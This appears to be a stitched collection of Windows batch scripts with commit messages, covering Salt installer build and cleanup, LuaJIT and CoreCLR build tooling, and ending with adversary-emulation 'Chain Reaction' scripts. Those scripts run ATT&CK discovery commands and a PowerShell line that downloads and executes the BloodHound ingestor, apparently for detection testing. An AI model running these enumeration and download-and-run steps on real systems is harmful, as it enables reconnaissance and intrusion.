python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\pip2.exe"

@ echo Cleaning up unused files and directories...
@ echo -------------------------------------------
:: Remove all Compiled Python files (.pyc)
del /S /Q "%BinDir%\*.pyc"
:: Remove all Compiled HTML Help (.chm)
del /S /Q "%BinDir%\*.chm"

:: Delete Unused Docs and Modules
If Exist "%BinDir%\Doc"           rd /S /Q "%BinDir%\Doc"
If Exist "%BinDir%\share"         rd /S /Q "%BinDir%\share"
If Exist "%BinDir%\tcl"           rd /S /Q "%BinDir%\tcl"
If Exist "%BinDir%\Lib\idlelib"   rd /S /Q "%BinDir%\Lib\idlelib"
If Exist "%BinDir%\Lib\lib-tk"    rd /S /Q "%BinDir%\Lib\lib-tk"
If Exist "%BinDir%\Lib\test"      rd /S /Q "%BinDir%\Lib\test"
If Exist "%BinDir%\Lib\unit-test" rd /S /Q "%BinDir%\Lib\unit-test"

:: Delete Unused .dll files
If Exist "%BinDir%\DLLs\tcl85.dll"    del /S /Q "%BinDir%\DLLs\tcl85.dll"
If Exist "%BinDir%\DLLs\tclpip85.dll" del /S /Q "%BinDir%\DLLs\tclpip85.dll"
If Exist "%BinDir%\DLLs\tk85.dll"     del /S /Q "%BinDir%\DLLs\tk85.dll"

:: Delete Unused .lib files
If Exist "%BinDir%\libs\_tkinter.lib" del /S /Q "%BinDir%\libs\_tkinter.lib"

:: Delete .txt files
If Exist "%BinDir%\NEWS.txt"   del /q "%BinDir%\NEWS.txt"
If Exist "%BinDir%\README.txt" del /q "%BinDir%\README.txt"
@ echo.

@ echo Building the installer...
@ echo -------------------------
makensis.exe /DSaltVersion="%Version%" "%InsDir%\Salt-Minion-Setup.nsi"
@ echo.

@ echo.
@ echo ===================
@ echo Script completed...
@ echo -------------------
@ echo Installation file can be found in the following directory:
@ echo %InsDir%

done:
if [%Version%] == [] pause
cls

Update BuildSalt.bat

Update BuildSalt.bat


echo off
echo =====================================================================
echo Salt Windows Clean Script
echo =====================================================================
echo.

rem Make sure the script is run as Admin
echo Administrative permissions required. Detecting permissions ...
echo ---------------------------------------------------------------------
net session >nul 2>&1
if errorlevel 1 (
    echo Success: Administrative permissions confirmed.
) else (
    echo Failure: This script must be run as Administrator
    goto eof
)
echo.

:: Remove environment variables
    echo %0 :: Removing Environment Variables ...
    echo ---------------------------------------------------------------------
    if defined PyDir (
        reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /F /V "PyDir"
    )

:CheckPython27
if exist "\Python27" goto RemovePython27

goto CheckPython35

:RemovePython27
    rem Uninstall Python 2.7
    echo %0 :: Uninstalling Python 2 ...
    echo ---------------------------------------------------------------------
    echo %0 :: - 2.7.12 (32 bit)
    MsiExec.exe /X {9DA28CE5-0AA5-429E-86D8-686ED898C665} /QN
    echo %0 :: - 2.7.12 (64 bit)
    MsiExec.exe /X {9DA28CE5-0AA5-429E-86D8-686ED898C666} /QN
    echo %0 :: - 2.7.13 (32 bit)
    MsiExec.exe /X {4A656C6C-D24A-473F-9747-3A8D00907A03} /QN
    echo %0 :: - 2.7.13 (64 bit)
    MsiExec.exe /X {4A656C6C-D24A-473F-9747-3A8D00907A04} /QN
    echo %0 :: - 2.7.14 (32 bit)
    MsiExec.exe /X {0398A685-FD8D-46B3-9816-C47319B0CF5E} /QN
    echo %0 :: - 2.7.14 (64 bit)
    MsiExec.exe /X {0398A685-FD8D-46B3-9816-C47319B0CF5F} /QN
    echo %0 :: - 2.7.15 (32 bit)
    MsiExec.exe /X {16CD92A4-0152-4CB7-8FD6-9788D3363616} /QN
    echo %0 :: - 2.7.15 (64 bit)
    MsiExec.exe /X {16CD92A4-0152-4CB7-8FD6-9788D3363617} /QN

    echo.

    rem Wipe the Python directory
    echo %0 :: Removing the C:\Python27 Directory ...
    echo ---------------------------------------------------------------------
    rd /s /q C:\Python27
    if %errorLevel%==0 (
        echo Successful
    ) else (
        echo Failed, please remove manually
    )

:CheckPython35
if exist "\Python35" goto RemovePython35

goto CheckPython37

:RemovePython35
    echo %0 :: Uninstalling Python 3 ...
    echo ---------------------------------------------------------------------
    :: 64 bit
    if exist "%LOCALAPPDATA%\Package Cache\{b94f45d6-8461-440c-aa4d-bf197b2c2499}" (
        echo %0 :: - 3.5.3 64bit
        "%LOCALAPPDATA%\Package Cache\{b94f45d6-8461-440c-aa4d-bf197b2c2499}\python-3.5.3-amd64.exe" /uninstall /quiet
    )
    if exist "%LOCALAPPDATA%\Package Cache\{5d57524f-af24-49a7-b90b-92138880481e}" (
        echo %0 :: - 3.5.4 64bit
        "%LOCALAPPDATA%\Package Cache\{5d57524f-af24-49a7-b90b-92138880481e}\python-3.5.4-amd64.exe" /uninstall /quiet
    )

    :: 32 bit
    if exist "%LOCALAPPDATA%\Package Cache\{a10037e1-4247-47c9-935b-c5ca049d0299}" (
        echo %0 :: - 3.5.3 32bit
        "%LOCALAPPDATA%\Package Cache\{a10037e1-4247-47c9-935b-c5ca049d0299}\python-3.5.3" /uninstall /quiet
    )
    if exist "%LOCALAPPDATA%\Package Cache\{06e841fa-ca3b-4886-a820-cd32c614b0c1}" (
        echo %0 :: - 3.5.4 32bit
        "%LOCALAPPDATA%\Package Cache\{06e841fa-ca3b-4886-a820-cd32c614b0c1}\python-3.5.4" /uninstall /quiet
    )

    rem wipe the Python directory
    echo %0 :: Removing the C:\Python35 Directory ...
    echo ---------------------------------------------------------------------
    rd /s /q "C:\Python35"
    if %errorLevel%==0 (
        echo Successful
    ) else (
        echo Failed, please remove manually
    )

    goto eof

:CheckPython37
if exist "\Python37" goto RemovePython37

goto CheckPython38

:RemovePython37
    echo %0 :: Uninstalling Python 3.7 ...
    echo ---------------------------------------------------------------------
    :: 64 bit
    if exist "%LOCALAPPDATA%\Package Cache\{8ae589dd-de2e-42cd-af56-102374115fee}" (
        echo %0 :: - 3.7.4 64bit
        "%LOCALAPPDATA%\Package Cache\{8ae589dd-de2e-42cd-af56-102374115fee}\python-3.7.4-amd64.exe" /uninstall /quiet
    )

    :: 32 bit
    if exist "%LOCALAPPDATA%\Package Cache\{b66087e3-469e-4725-8b9b-f0981244afea}" (
        echo %0 :: - 3.7.4 32bit
        "%LOCALAPPDATA%\Package Cache\{b66087e3-469e-4725-8b9b-f0981244afea}\python-3.7.4" /uninstall /quiet
    )
    :: Python Launcher, seems to be the same for 32 and 64 bit
    echo %0 :: - Python Launcher
    msiexec.exe /x {D722DA3A-92F5-454A-BD5D-A48C94D82300} /quiet /qn

    rem wipe the Python directory
    echo %0 :: Removing the C:\Python37 Directory ...
    echo ---------------------------------------------------------------------
    rd /s /q "C:\Python37"
    if %errorLevel%==0 (
        echo Successful
    ) else (
        echo Failed, please remove manually
    )

    goto eof

:CheckPython38
if exist "\Python38" goto RemovePython38

goto eof

:RemovePython38
    echo %0 :: Uninstalling Python 3.8 ...
    echo ---------------------------------------------------------------------
    :: 64 bit
    if exist "%LOCALAPPDATA%\Package Cache\{ef6306ce-2a12-4d59-887e-ebf00b9e4ab5}" (
        echo %0 :: - 3.8.8 64bit
        "%LOCALAPPDATA%\Package Cache\{ef6306ce-2a12-4d59-887e-ebf00b9e4ab5}\python-3.8.8-amd64.exe" /uninstall /quiet
    )

    :: 32 bit
    if exist "%LOCALAPPDATA%\Package Cache\{ac93da86-1536-4b03-aea1-dc354b5e9282}" (
        echo %0 :: - 3.8.8 32bit
        "%LOCALAPPDATA%\Package Cache\{ac93da86-1536-4b03-aea1-dc354b5e9282}\python-3.8.8" /uninstall /quiet
    )
    :: Python Launcher, seems to be the same for 32 and 64 bit
    echo %0 :: - Python Launcher
    msiexec.exe /x {3B53E5B7-CFC4-401C-80E9-FF7591C58741} /quiet /qn

    rem wipe the Python directory
    echo %0 :: Removing the C:\Python38 Directory ...
    echo ---------------------------------------------------------------------
    rd /s /q "C:\Python38"
    if %errorLevel%==0 (
        echo Successful
    ) else (
        echo Failed, please remove manually
    )

    goto eof

:eof
echo.
echo =====================================================================
echo End of %0
echo =====================================================================

echo off
echo =====================================================================
echo Salt Windows Clean Script
echo =====================================================================
echo.

rem Make sure the script is run as Admin
echo Administrative permissions required. Detecting permissions ...
echo ---------------------------------------------------------------------
net session >nul 2>&1
if %errorLevel%==0 (
    echo Success: Administrative permissions confirmed.
) else (
    echo Failure: This script must be run as Administrator
    goto eof
)
echo.

:: Remove environment variables
    echo %0 :: Removing Environment Variables ...
    echo ---------------------------------------------------------------------
    if defined PyDir (
        reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /F /V "PyDir"
    )

:CheckPython27
if exist "\Python27" goto RemovePython27

goto CheckPython35

:RemovePython27
    rem Uninstall Python 2.7
    echo %0 :: Uninstalling Python 2 ...
    echo ---------------------------------------------------------------------
    echo %0 :: - 2.7.12 (32 bit)
    MsiExec.exe /X {9DA28CE5-0AA5-429E-86D8-686ED898C665} /QN
    echo %0 :: - 2.7.12 (64 bit)
    MsiExec.exe /X {9DA28CE5-0AA5-429E-86D8-686ED898C666} /QN
    echo %0 :: - 2.7.13 (32 bit)
    MsiExec.exe /X {4A656C6C-D24A-473F-9747-3A8D00907A03} /QN
    echo %0 :: - 2.7.13 (64 bit)
    MsiExec.exe /X {4A656C6C-D24A-473F-9747-3A8D00907A04} /QN
    echo %0 :: - 2.7.14 (32 bit)
    MsiExec.exe /X {0398A685-FD8D-46B3-9816-C47319B0CF5E} /QN
    echo %0 :: - 2.7.14 (64 bit)
    MsiExec.exe /X {0398A685-FD8D-46B3-9816-C47319B0CF5F} /QN
    echo %0 :: - 2.7.15 (32 bit)
    MsiExec.exe /X {16CD92A4-0152-4CB7-8FD6-9788D3363616} /QN
    echo %0 :: - 2.7.15 (64 bit)
    MsiExec.exe /X {16CD92A4-0152-4CB7-8FD6-9788D3363617} /QN

    echo.

    rem Wipe the Python directory
    echo %0 :: Removing the C:\Python27 Directory ...
    echo ---------------------------------------------------------------------
    rd /s /q C:\Python27
    if %errorLevel%==0 (
        echo Successful
    ) else (
        echo Failed, please remove manually
    )

:CheckPython35
if exist "\Python35" goto RemovePython35

goto CheckPython37

:RemovePython35
    echo %0 :: Uninstalling Python 3 ...
    echo ---------------------------------------------------------------------
    :: 64 bit
    if exist "%LOCALAPPDATA%\Package Cache\{b94f45d6-8461-440c-aa4d-bf197b2c2499}" (
        echo %0 :: - 3.5.3 64bit
        "%LOCALAPPDATA%\Package Cache\{b94f45d6-8461-440c-aa4d-bf197b2c2499}\python-3.5.3-amd64.exe" /uninstall /quiet
    )
    if exist "%LOCALAPPDATA%\Package Cache\{5d57524f-af24-49a7-b90b-92138880481e}" (
        echo %0 :: - 3.5.4 64bit
        "%LOCALAPPDATA%\Package Cache\{5d57524f-af24-49a7-b90b-92138880481e}\python-3.5.4-amd64.exe" /uninstall /quiet
    )

    :: 32 bit
    if exist "%LOCALAPPDATA%\Package Cache\{a10037e1-4247-47c9-935b-c5ca049d0299}" (
        echo %0 :: - 3.5.3 32bit
        "%LOCALAPPDATA%\Package Cache\{a10037e1-4247-47c9-935b-c5ca049d0299}\python-3.5.3" /uninstall /quiet
    )
    if exist "%LOCALAPPDATA%\Package Cache\{06e841fa-ca3b-4886-a820-cd32c614b0c1}" (
        echo %0 :: - 3.5.4 32bit
        "%LOCALAPPDATA%\Package Cache\{06e841fa-ca3b-4886-a820-cd32c614b0c1}\python-3.5.4" /uninstall /quiet
    )

    rem wipe the Python directory
    echo %0 :: Removing the C:\Python35 Directory ...
    echo ---------------------------------------------------------------------
    rd /s /q "C:\Python35"
    if %errorLevel%==0 (
        echo Successful
    ) else (
        echo Failed, please remove manually
    )

    goto eof

:CheckPython37
if exist "\Python37" goto RemovePython37

goto CheckPython38

:RemovePython37
    echo %0 :: Uninstalling Python 3.7 ...
    echo ---------------------------------------------------------------------
    :: 64 bit
    if exist "%LOCALAPPDATA%\Package Cache\{8ae589dd-de2e-42cd-af56-102374115fee}" (
        echo %0 :: - 3.7.4 64bit
        "%LOCALAPPDATA%\Package Cache\{8ae589dd-de2e-42cd-af56-102374115fee}\python-3.7.4-amd64.exe" /uninstall /quiet
    )

    :: 32 bit
    if exist "%LOCALAPPDATA%\Package Cache\{b66087e3-469e-4725-8b9b-f0981244afea}" (
        echo %0 :: - 3.7.4 32bit
        "%LOCALAPPDATA%\Package Cache\{b66087e3-469e-4725-8b9b-f0981244afea}\python-3.7.4" /uninstall /quiet
    )
    :: Python Launcher, seems to be the same for 32 and 64 bit
    echo %0 :: - Python Launcher
    msiexec.exe /x {D722DA3A-92F5-454A-BD5D-A48C94D82300} /quiet /qn

    rem wipe the Python directory
    echo %0 :: Removing the C:\Python37 Directory ...
    echo ---------------------------------------------------------------------
    rd /s /q "C:\Python37"
    if %errorLevel%==0 (
        echo Successful
    ) else (
        echo Failed, please remove manually
    )

    goto eof

:CheckPython38
if exist "\Python38" goto RemovePython38

goto eof

:RemovePython38
    echo %0 :: Uninstalling Python 3.8 ...
    echo ---------------------------------------------------------------------
    :: 64 bit
    if exist "%LOCALAPPDATA%\Package Cache\{ef6306ce-2a12-4d59-887e-ebf00b9e4ab5}" (
        echo %0 :: - 3.8.8 64bit
        "%LOCALAPPDATA%\Package Cache\{ef6306ce-2a12-4d59-887e-ebf00b9e4ab5}\python-3.8.8-amd64.exe" /uninstall /quiet
    )

    :: 32 bit
    if exist "%LOCALAPPDATA%\Package Cache\{ac93da86-1536-4b03-aea1-dc354b5e9282}" (
        echo %0 :: - 3.8.8 32bit
        "%LOCALAPPDATA%\Package Cache\{ac93da86-1536-4b03-aea1-dc354b5e9282}\python-3.8.8" /uninstall /quiet
    )
    :: Python Launcher, seems to be the same for 32 and 64 bit
    echo %0 :: - Python Launcher
    msiexec.exe /x {3B53E5B7-CFC4-401C-80E9-FF7591C58741} /quiet /qn

    rem wipe the Python directory
    echo %0 :: Removing the C:\Python38 Directory ...
    echo ---------------------------------------------------------------------
    rd /s /q "C:\Python38"
    if %errorLevel%==0 (
        echo Successful
    ) else (
        echo Failed, please remove manually
    )

    goto eof

:eof
echo.
echo =====================================================================
echo End of %0
echo =====================================================================

Fix Admin detect

Fix Admin detect


@ECHO OFF
IF NOT DEFINED PROJECT_ROOT (
	ECHO "PROJECT_ROOT not defined, please setup your environment"
	GOTO :eof
)

PUSHD "%PROJECT_ROOT%\%1"

Add .cmd/mpushd.cmd.

Add .cmd/mpushd.cmd.


git subtree pull --squash --prefix=ThirdParty/WPFFutures https://github.com/FineRedMist/WPFFutures.git master
git subtree pull --squash --prefix=ThirdParty/ThemeSelector https://github.com/FineRedMist/ThemeSelector.git master

Add ThemeSelector to the pull batch file.


@rem Open "Visual Studio .NET Command Prompt" to run this script

@setlocal
@set LUA=../../luajit-2.0
@set LSCOMPILE=cl /nologo /c /LD /MD /O2 /W3 /D_CRT_SECURE_NO_DEPRECATE /I%LUA%/src
@set LSLINK=link /nologo

@rem Check Windows Version is Vista+
@ver | findstr /i "Version 6\." > NUL
@if errorlevel 0 goto VERSION_VISTA
@set WIN32_VERSION=WIN32_COMMON
@goto VERSION_END
:VERSION_VISTA
@set WIN32_VERSION=WIN32_VISTA
:VERSION_END

%LSCOMPILE% /DLUA_BUILD_AS_DLL /D%WIN32_VERSION% luasys.c sock/sys_sock.c isa/isapi/isapi_dll.c
@if errorlevel 1 goto :END
%LSLINK% /DLL /OUT:sys.dll /DEF:isa/isapi/isapi_dll.def *.obj %LUA%/src/lua*.lib kernel32.lib user32.lib winmm.lib shell32.lib advapi32.lib ws2_32.lib
@if errorlevel 1 goto :END

@del *.obj *.manifest *.lib *.exp

:END

@rem Open "Visual Studio .NET Command Prompt" to run this script

@setlocal
@set LUA=../../luajit-2.0
@set LSCOMPILE=cl /nologo /c /LD /MD /O2 /W3 /D_CRT_SECURE_NO_DEPRECATE /I%LUA%/src
@set LSLINK=link /nologo

@rem Check Windows Version is Vista+
@ver | findstr /i "Version 6\." > NUL
@if errorlevel 0 goto VERSION_VISTA
@set WIN32_VERSION=WIN32_COMMON
@goto VERSION_END
:VERSION_VISTA
@set WIN32_VERSION=WIN32_VISTA
:VERSION_END

%LSCOMPILE% /DLUA_BUILD_AS_DLL /D%WIN32_VERSION% luasys.c sock/sys_sock.c isa/isapi/isapi_dll.c
@if errorlevel 1 goto :END
%LSLINK% /DLL /OUT:sys.dll /DEF:isa/isapi/isapi_dll.def *.obj %LUA%/src/lua*.lib kernel32.lib user32.lib winmm.lib shell32.lib advapi32.lib ws2_32.lib
@if errorlevel 1 goto :END

:END

@del *.obj *.manifest *.lib *.exp

Win32: Fix msvcbuild.bat to clean temporary files on error too.


@rem Licensed to the .NET Foundation under one or more agreements.
@rem The .NET Foundation licenses this file to you under the MIT license.
@rem See the LICENSE file in the project root for more information.

@setlocal
@echo off

rem Set defaults for the file extension, architecture and configuration
set CORECLR_REPO=%CD%
set TEST_FILE_EXT=exe
set TEST_ARCH=x64
set TEST_CONFIG=Release

goto :ARGLOOP

:SETUP

set CORECLR_OVERLAY=%CORECLR_REPO%\bin\tests\Windows_NT.%TEST_ARCH%.%TEST_CONFIG%\Tests\Core_Root
set RUNLOG=%CORECLR_REPO%\bin\Logs\perfrun.log

if NOT EXIST %CORECLR_OVERLAY% (
  echo Can't find test overlay directory '%CORECLR_OVERLAY%'
  echo Please build and run Release CoreCLR tests
  exit /B 1
)

@echo --- setting up sandbox

if exist sandbox rd /s /q sandbox
if exist sandbox echo ERROR: Failed to remove the sandbox folder& exit /b 1
if not exist sandbox mkdir sandbox
if not exist sandbox echo ERROR: Failed to create the sandbox folder& exit /b 1
pushd sandbox

@rem stage stuff we need

@rem xunit and perf
xcopy /sy %CORECLR_REPO%\packages\Microsoft.DotNet.xunit.performance.runner.Windows\1.0.0-alpha-build0040\tools\* . > %RUNLOG%
xcopy /sy %CORECLR_REPO%\packages\Microsoft.DotNet.xunit.performance.analysis\1.0.0-alpha-build0040\tools\* . >> %RUNLOG%
xcopy /sy %CORECLR_REPO%\packages\xunit.console.netcore\1.0.2-prerelease-00177\runtimes\any\native\* . >> %RUNLOG%
xcopy /sy %CORECLR_REPO%\bin\tests\Windows_NT.%TEST_ARCH%.%TEST_CONFIG%\Tests\Core_Root\* . >> %RUNLOG%

@rem find and stage the tests
for /R %CORECLR_PERF% %%T in (*.%TEST_FILE_EXT%) do (
  call :DOIT %%T
)

@rem optionally upload results to benchview
if not [%BENCHVIEW_PATH%] == [] (
  py "%BENCHVIEW_PATH%\submission.py" measurement.json ^
                                    --build ..\build.json ^
                                    --machine-data ..\machinedata.json ^
                                    --metadata ..\submission-metadata.json ^
                                    --group "CoreCLR" ^
                                    --type "%RUN_TYPE%" ^
                                    --config-name "%TEST_CONFIG%" ^
                                    --config Configuration "%TEST_CONFIG%" ^
                                    --config OS "Windows_NT" ^
                                    --arch "%TEST_ARCH%" ^
                                    --machinepool "PerfSnake"
  py "%BENCHVIEW_PATH%\upload.py" submission.json --container coreclr
)

goto :EOF

:DOIT
set BENCHNAME=%~n1
set BENCHDIR=%~p1
set PERFOUT=perf-%BENCHNAME%
set XMLOUT=%PERFOUT%-summary.xml

echo --- Running %BENCHNAME%

@rem copy benchmark and any input files

xcopy /s %1 . >> %RUNLOG%
xcopy /s %BENCHDIR%*.txt . >> %RUNLOG%

set CORE_ROOT=%CORECLR_REPO%\sandbox

@rem setup additional environment variables
if EXIST %TEST_ENV% (
    call %TEST_ENV%
)

xunit.performance.run.exe %BENCHNAME%.%TEST_FILE_EXT% -runner xunit.console.netcore.exe -runnerhost corerun.exe -verbose -runid %PERFOUT% > %BENCHNAME%.out

xunit.performance.analysis.exe %PERFOUT%.xml -xml %XMLOUT% > %BENCHNAME%-analysis.out

@rem optionally generate results for benchview
if not [%BENCHVIEW_PATH%] == [] (
  py "%BENCHVIEW_PATH%\measurement.py" xunit "perf-%BENCHNAME%.xml" --better desc --drop-first-value --append
  REM Save off the results to the root directory for recovery later in Jenkins
  xcopy perf-%BENCHNAME%*.xml %CORECLR_REPO%\
  xcopy perf-%BENCHNAME%*.etl %CORECLR_REPO%\
) else (
  type %XMLOUT% | findstr "test name"
  type %XMLOUT% | findstr Duration
  type %XMLOUT% | findstr InstRetired
)

goto :EOF

:ARGLOOP
IF /I [%1] == [-testBinLoc] (
set CORECLR_PERF=%CORECLR_REPO%\%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-runtype] (
set RUN_TYPE=%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-library] (
set TEST_FILE_EXT=dll
shift
goto :ARGLOOP
)
IF /I [%1] == [-uploadtobenchview] (
set BENCHVIEW_PATH=%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-arch] (
set TEST_ARCH=%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-testEnv] (
set TEST_ENV=%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-configuration] (
set TEST_CONFIG=%2
shift
shift
goto :ARGLOOP
)
if /I [%1] == [-?] (
goto :USAGE
)
if /I [%1] == [-help] (
goto :USAGE
)

if [%CORECLR_PERF%] == [] (
goto :USAGE
)

goto :SETUP

:USAGE
echo run-xunit-perf.cmd -testBinLoc ^<path_to_tests^> [-library] [-arch] ^<x86^|x64^> [-configuration] ^<Release^|Debug^> [-uploadToBenchview] ^<path_to_benchview_tools^> [-runtype] ^<rolling^|private^>

echo For the path to the tests you can pass a parent directory and the script will grovel for
echo all tests in subdirectories and run them.
echo The library flag denotes whether the tests are build as libraries (.dll) or an executable (.exe)
echo Architecture defaults to x64 and configuration defaults to release.
echo -uploadtoBenchview is used to specify a path to the Benchview tooling and when this flag is
echo set we will upload the results of the tests to the coreclr container in benchviewupload.
echo Runtype sets the runtype that we upload to Benchview, rolling for regular runs, and private for
echo PRs.

goto :EOF

@rem Licensed to the .NET Foundation under one or more agreements.
@rem The .NET Foundation licenses this file to you under the MIT license.
@rem See the LICENSE file in the project root for more information.

@setlocal
@echo off

rem Set defaults for the file extension, architecture and configuration
set CORECLR_REPO=%CD%
set TEST_FILE_EXT=exe
set TEST_ARCH=x64
set TEST_CONFIG=Release
set TEST_ENV=thisfilewillnotexist

goto :ARGLOOP

:SETUP

set CORECLR_OVERLAY=%CORECLR_REPO%\bin\tests\Windows_NT.%TEST_ARCH%.%TEST_CONFIG%\Tests\Core_Root
set RUNLOG=%CORECLR_REPO%\bin\Logs\perfrun.log

if NOT EXIST %CORECLR_OVERLAY% (
  echo Can't find test overlay directory '%CORECLR_OVERLAY%'
  echo Please build and run Release CoreCLR tests
  exit /B 1
)

@echo --- setting up sandbox

if exist sandbox rd /s /q sandbox
if exist sandbox echo ERROR: Failed to remove the sandbox folder& exit /b 1
if not exist sandbox mkdir sandbox
if not exist sandbox echo ERROR: Failed to create the sandbox folder& exit /b 1
pushd sandbox

@rem stage stuff we need

@rem xunit and perf
xcopy /sy %CORECLR_REPO%\packages\Microsoft.DotNet.xunit.performance.runner.Windows\1.0.0-alpha-build0040\tools\* . > %RUNLOG%
xcopy /sy %CORECLR_REPO%\packages\Microsoft.DotNet.xunit.performance.analysis\1.0.0-alpha-build0040\tools\* . >> %RUNLOG%
xcopy /sy %CORECLR_REPO%\packages\xunit.console.netcore\1.0.2-prerelease-00177\runtimes\any\native\* . >> %RUNLOG%
xcopy /sy %CORECLR_REPO%\bin\tests\Windows_NT.%TEST_ARCH%.%TEST_CONFIG%\Tests\Core_Root\* . >> %RUNLOG%

@rem find and stage the tests
for /R %CORECLR_PERF% %%T in (*.%TEST_FILE_EXT%) do (
  call :DOIT %%T
)

@rem optionally upload results to benchview
if not [%BENCHVIEW_PATH%] == [] (
  py "%BENCHVIEW_PATH%\submission.py" measurement.json ^
                                    --build ..\build.json ^
                                    --machine-data ..\machinedata.json ^
                                    --metadata ..\submission-metadata.json ^
                                    --group "CoreCLR" ^
                                    --type "%RUN_TYPE%" ^
                                    --config-name "%TEST_CONFIG%" ^
                                    --config Configuration "%TEST_CONFIG%" ^
                                    --config OS "Windows_NT" ^
                                    --arch "%TEST_ARCH%" ^
                                    --machinepool "PerfSnake"
  py "%BENCHVIEW_PATH%\upload.py" submission.json --container coreclr
)

goto :EOF

:DOIT
set BENCHNAME=%~n1
set BENCHDIR=%~p1
set PERFOUT=perf-%BENCHNAME%
set XMLOUT=%PERFOUT%-summary.xml

echo --- Running %BENCHNAME%

@rem copy benchmark and any input files

xcopy /s %1 . >> %RUNLOG%
xcopy /s %BENCHDIR%*.txt . >> %RUNLOG%

set CORE_ROOT=%CORECLR_REPO%\sandbox

@rem setup additional environment variables
if EXIST %TEST_ENV% (
    call %TEST_ENV%
)

xunit.performance.run.exe %BENCHNAME%.%TEST_FILE_EXT% -runner xunit.console.netcore.exe -runnerhost corerun.exe -verbose -runid %PERFOUT% > %BENCHNAME%.out

xunit.performance.analysis.exe %PERFOUT%.xml -xml %XMLOUT% > %BENCHNAME%-analysis.out

@rem optionally generate results for benchview
if not [%BENCHVIEW_PATH%] == [] (
  py "%BENCHVIEW_PATH%\measurement.py" xunit "perf-%BENCHNAME%.xml" --better desc --drop-first-value --append
  REM Save off the results to the root directory for recovery later in Jenkins
  xcopy perf-%BENCHNAME%*.xml %CORECLR_REPO%\
  xcopy perf-%BENCHNAME%*.etl %CORECLR_REPO%\
) else (
  type %XMLOUT% | findstr "test name"
  type %XMLOUT% | findstr Duration
  type %XMLOUT% | findstr InstRetired
)

goto :EOF

:ARGLOOP
IF /I [%1] == [-testBinLoc] (
set CORECLR_PERF=%CORECLR_REPO%\%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-runtype] (
set RUN_TYPE=%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-library] (
set TEST_FILE_EXT=dll
shift
goto :ARGLOOP
)
IF /I [%1] == [-uploadtobenchview] (
set BENCHVIEW_PATH=%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-arch] (
set TEST_ARCH=%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-testEnv] (
set TEST_ENV=%2
shift
shift
goto :ARGLOOP
)
IF /I [%1] == [-configuration] (
set TEST_CONFIG=%2
shift
shift
goto :ARGLOOP
)
if /I [%1] == [-?] (
goto :USAGE
)
if /I [%1] == [-help] (
goto :USAGE
)

if [%CORECLR_PERF%] == [] (
goto :USAGE
)

goto :SETUP

:USAGE
echo run-xunit-perf.cmd -testBinLoc ^<path_to_tests^> [-library] [-arch] ^<x86^|x64^> [-configuration] ^<Release^|Debug^> [-uploadToBenchview] ^<path_to_benchview_tools^> [-runtype] ^<rolling^|private^>

echo For the path to the tests you can pass a parent directory and the script will grovel for
echo all tests in subdirectories and run them.
echo The library flag denotes whether the tests are build as libraries (.dll) or an executable (.exe)
echo Architecture defaults to x64 and configuration defaults to release.
echo -uploadtoBenchview is used to specify a path to the Benchview tooling and when this flag is
echo set we will upload the results of the tests to the coreclr container in benchviewupload.
echo Runtype sets the runtype that we upload to Benchview, rolling for regular runs, and private for
echo PRs.

goto :EOF

Fix x64 perf run break

Fix x64 perf run break

After the checkin to add legacy JIT testing support for x86 we broke x64
runs.  THe issue is that we do not pass anything in to the TEST_ENV
variable on x64 and when a variable is empty and you attempt to use the
if exists syntax you fail.  I have added a nonsense file name that we
set this to before we go through the args loop. I was not able to find a
better solution and want to get the lab unblocked, but any batch masters
feel free to solve this the right way.


:: Chain Reaction 02
::
:: NOTE it is a BAD idea to execute scripts from a repo that you do not control.
:: NOTE We recommend executing from a server that you control.
:: NOTE Thank You :)
::
:: This particular Chain Reaction focuses on enumeration.

:: Tactic: Discovery
:: Technique: Remote System Discovery https://attack.mitre.org/wiki/Technique/T1018
:: Change IP scheme for your environment

:: for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i > ping_output.txt

net.exe view

net.exe view /domain

:: Tactic: Discovery
:: Technique: Account Discovery https://attack.mitre.org/wiki/Windows_Technique_Matrix

net localgroup "administrators"

wmic useraccount get /ALL

:: Tactic: Discovery
:: Technique: Security Software Discovery https://attack.mitre.org/wiki/Technique/T1063

netsh.exe advfirewall firewall show all profiles

tasklist.exe | findstr cb

tasklist.exe | findstr virus

tasklist.exe | findstr defender

:: Execution

:: Tactic: Discovery
:: Technique: System Network Configuration Discovery https://attack.mitre.org/wiki/Technique/T1016

ipconfig /all
arp -a
nbtstat -n

:: Tactic: Discovery
:: Technique: File and Directory Discovery https://attack.mitre.org/wiki/Technique/T1083

dir /s c:\ >> %temp%\download

:: Tactic: Execution
:: Technique: Powershell https://attack.mitre.org/wiki/Technique/T1086
:: Download and invoke BloodHound Ingestor

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1'); Get-BloodHoundData"

:: Chain Reaction - Fission
::
:: NOTE it is a BAD idea to execute scripts from a repo that you do not control.
:: NOTE We recommend executing from a server that you control.
:: NOTE Thank You :)
::
:: This particular Chain Reaction focuses on Discovery.

:: Tactic: Discovery
:: Technique: Remote System Discovery https://attack.mitre.org/wiki/Technique/T1018
:: Change IP scheme for your environment

:: for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i > ping_output.txt

net.exe view

net.exe view /domain

:: Tactic: Discovery
:: Technique: Account Discovery https://attack.mitre.org/wiki/Windows_Technique_Matrix

net localgroup "administrators"

wmic useraccount get /ALL

:: Tactic: Discovery
:: Technique: Security Software Discovery https://attack.mitre.org/wiki/Technique/T1063

netsh.exe advfirewall firewall show all profiles

tasklist.exe | findstr cb

tasklist.exe | findstr virus

tasklist.exe | findstr defender

:: Execution

:: Tactic: Discovery
:: Technique: System Network Configuration Discovery https://attack.mitre.org/wiki/Technique/T1016

ipconfig /all
arp -a
nbtstat -n

:: Tactic: Discovery
